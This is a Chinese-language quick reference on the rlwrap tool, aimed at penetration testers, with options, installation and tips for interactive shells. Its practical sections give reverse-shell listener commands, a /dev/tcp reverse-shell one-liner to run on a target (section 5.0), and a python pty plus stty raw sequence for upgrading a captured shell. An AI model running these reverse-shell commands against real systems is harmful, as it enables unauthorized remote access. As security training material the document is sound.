rlwrap 用法速查
一个让任何 CLI 工具都"自带 GNU readline 体验"的小工具。对渗透测试来说几乎是必备——尤其是
nc反弹 shell、有限的sh/python提权 shell、各种不支持 readline 的客户端(smbclient、sqlmap 交互模式、某些自定义工具)。
1. 解决的痛点
问题:很多 CLI 工具不接 readline,交互模式下用方向键会被当成"垃圾字符"原样回显到屏幕上:
$ nc -lvnp 80
listening on [any] 80 ...
^[[D^[[D^[[C ← ← ↑ ↑ → 这些 ANSI 转义序列

注:上例里
^[是 ESC(0x1B),完整序列是ESC [ D(左箭头)、ESC [ A(上箭头)、ESC [ C(右箭头),bash 终端能解释但被 nc 之类的程序吐到屏幕上。
rlwrap 干的事:包一层,拦截 stdin 的转义序列 → 转成 readline 的历史/补全操作:
$ rlwrap nc -lvnp 80
listening on [any] 80 ... ← 干净,没有任何 ^[ 字符

顺便还能用 ↑ ↓ 翻历史命令、Tab 补全(自定义词表)、Ctrl-R 反向搜索历史。
大多数情况tab补全是不支持的,主要就是上下切换比较方便。
2. 基础用法
1# 语法:rlwrap <要包装的命令> [参数...]
2rlwrap nc -lvnp 80
3rlwrap nc -nv 10.10.10.10 4444
4rlwrap python3 -c 'import pty; pty.spawn("/bin/bash")'
任何命令都能包,不只是 nc。rlwrap 通过 exec 启动子进程,把自己的 stdin/stdout 桥接到子进程的 stdin/stdout,自己在中间做 readline 转换。
3. 渗透测试高频用法
3.1 反弹 shell 监听器(最经典)
1rlwrap nc -lvnp 80
- 监听 80 端口拿到的 shell 里能翻历史命令(上一条
id、上上一条cat /etc/passwd) - 配合
-k可以保持监听并继续接新连接
3.2 主动连出去的 nc / telnet
1rlwrap nc -nv 10.10.10.10 4444
2rlwrap telnet 10.10.10.10 23
某些服务(POP3、SMTP、Redis 旧版等)支持交互命令但不带 readline,rlwrap 一包就舒服了。
3.3 升级"贫瘠"的 shell
拿到 sh 反弹但没法用 Tab 补全、没法翻历史时:
1# 用 python pty 升级 → 拿到一个伪 TTY
2python3 -c 'import pty; pty.spawn("/bin/bash")'
3
4# 但这个伪 TTY 仍然不带 readline
5# 外面再套一层 rlwrap
更好的做法(完整 TTY + 历史):
1# 攻击机上:先开 rlwrap 监听
2rlwrap nc -lvnp 80
3
4# 拿到 sh 后立刻升级
5python3 -c 'import pty; pty.spawn("/bin/bash")'
6# Ctrl-Z 挂起
7stty raw -echo; fg
8# 重新回到 nc


3.4 各种交互客户端
1rlwrap smbclient //10.10.10.10/C$ -U Administrator
2rlwrap mysql -u root -p -h 10.10.10.10
3rlwrap redis-cli -h 10.10.10.10
4rlwrap psql -U postgres -h 10.10.10.10
很多 SQL 客户端其实自带 readline,但在通过 pipe 拉起来或 PTY 不完整时可能失效——rlwrap 是保险措施。

依旧是可以上下切换
4. 常用选项
4.1 历史
1# -H, --history-filename:指定历史文件(默认 ~/.rlwrap_history_<命令名>)
2rlwrap -H /tmp/nc_history nc -lvnp 80
3
4# -S, --histsize:历史条数(默认 300)
5rlwrap -S 1000 nc -lvnp 80
6
7# -N, --no-history:禁用历史
8rlwrap -N nc -nv 10.10.10.10 4444
9
10# -w, --wait-timeout:readline 超时毫秒(默认无超时)
11rlwrap -w 5000 nc -lvnp 80
4.2 补全
1# -f, --file:补全词表文件(每行一个候选词)
2rlwrap -f /usr/share/wordlists/common.txt nc -nv 10.10.10.10
3
4# -i, --casesensitive:补全是否区分大小写(默认不区分)
5rlwrap -i nc -lvnp 80
6
7# -a, --always-readline:连非 TTY 输入也走 readline(管道/重定向时)
8rlwrap -a command < input.txt
9
10# -c, --complete-filenames:启用文件名补全
11rlwrap -c custom_tool
12
13# -b, --break-chars:定义"词边界"字符(决定 Tab 怎么分词)
14rlwrap -b '(){}[],. ' custom_tool
15
16# -r, --remember:记忆用户的输入作为补全候选(学过的词下次能补全)
17rlwrap -r nc -lvnp 80


4.3 输入过滤 / 安全
1# -z, --filter:过滤掉某些字符(防意外粘贴的二进制乱码 / ANSI 转义)
2rlwrap -z 'badword' nc -lvnp 80
3
4# --no-warnings:静默某些错误
5rlwrap --no-warnings nc -lvnp 80
4.4 提示与外观
1# -P, --pre-given:提示符(给被包装的命令用的 PS1)
2rlwrap -P 'maltrail> ' ./tool
3
4# -p, --prompt-color:提示符颜色
5rlwrap -p '[1;32;40mcmd> ' nc -lvnp 80
6
7# --quote-characters -q:哪些字符触发"引号配对"模式(避免 SQL 字符串里读不完整)
8rlwrap -q '"'\' mysql ...
4.5 调试 / 高级
1# --no-children:不 fork 子进程(调试用)
2rlwrap --no-children nc -lvnp 80
3
4# -V, --version:看版本
5rlwrap -V
6
7# -h, --help:完整选项
8rlwrap -h
5. 实战小技巧
5.0 一句话让反弹的渣渣shell也能有顺滑的终端体验
监听端
1rlwrap -a -r -c -H ~/.rlwrap_revsh_history -pred nc -lvnp 8848
靶机反弹shell
bash
1bash -c 'sh -i >& /dev/tcp/127.0.0.1/8848 0>&1'
回监听端 看:应出现远端的 $ 或 user@linux:~$ ,且应该是红色。连上之前和之后是两种状态。

5.1 用 stty + rlwrap 拿"完整 TTY" 反弹 shell
1# === 攻击机 ===
2rlwrap nc -lvnp 80
3
4# === 反弹后,靶机里 ===
5python3 -c 'import pty; pty.spawn("/bin/bash")'
6# Ctrl-Z(挂起到攻击机 nc 里)
7stty raw -echo
8fg
9# 回车后回到靶机 shell,现在有:Tab 补全 + 历史 + Ctrl-C 中断 + Ctrl-L 清屏
完整 TTY 是
rlwrap+stty raw -echo; fg+ python pty 的组合拳,缺一不可。
5.2 找历史文件位置
1ls -la ~/.rlwrap_history_*
2# 或
3ls -la ~/.rlwrap/
历史是按被包装的命令名自动分文件的:
~/.rlwrap_history_nc
~/.rlwrap_history_python
~/.rlwrap_history_mysql
想清空某次操作的历史:直接删对应文件。
5.3 配合 vim 风格快捷键
rlwrap 默认是 emacs 风格(Ctrl-A 到行首、Ctrl-E 到行尾、Ctrl-F/B 移光标)。可以切到 vi 模式:
1# 临时(只对这次 rlwrap 会话生效)
2rlwrap --setenv='INPUTRC=~/.inputrc_vi' nc -lvnp 80
3
4# 永久:在 ~/.inputrc 里加
5set editing-mode vi
5.4 配补全词表提效
把常用命令写进文件:
1cat > /tmp/oscp_cmds.txt << 'EOF'
2nmap
3nc
4ncat
5sqlmap
6nikto
7gobuster
8hydra
9john
10hashcat
11msfconsole
12searchsploit
13curl
14wget
15python3
16EOF
17
18rlwrap -f /tmp/oscp_cmds.txt -i bash
bash自带 readline 这个其实意义不大,但对各种自定义工具就有用了。
5.5 防 ESC 转义意外触发 readline
如果你的工具原本的输出里有大量 ESC 序列(颜色、终端控制),rlwrap 可能误读成用户输入。可以用 -z 过滤:
1# 把所有 ESC 字符从输出里剥掉(但保留给程序自己)
2rlwrap -z '\x1b' nc ...
6. 安装
| 系统 | 命令 |
|---|---|
| Kali / Debian | sudo apt install rlwrap |
| Ubuntu | sudo apt install rlwrap |
| CentOS / RHEL | sudo yum install epel-release && sudo yum install rlwrap |
| Arch | sudo pacman -S rlwrap |
| macOS (Homebrew) | brew install rlwrap |
| 源码 | git clone https://github.com/hanslub42/rlwrap && cd rlwrap && autoreconf -i && ./configure && make && sudo make install |
Kali 默认就装了。首次启动可能 warn
libreadline版本不匹配,但实际不影响使用,加--no-warnings屏蔽。
7. 为什么 OSCP / 实战离不开它
- 拿
sh反弹没有方向键 → rlwrap - nc 监听器有几百条历史命令 → rlwrap
- smbclient / mysql 交互不带 readline → rlwrap
- 自定义 exp 工具靠 stdin 反复输 payload → rlwrap
- 想升级到完整 TTY 又不想记 stty 三板斧 → rlwrap + python pty + stty raw -echo; fg
一句话总结:任何"在终端里能让你按 ↑ 翻命令、按 Tab 补全"的需求,如果那个程序自己不支持,套一层
rlwrap就有了。

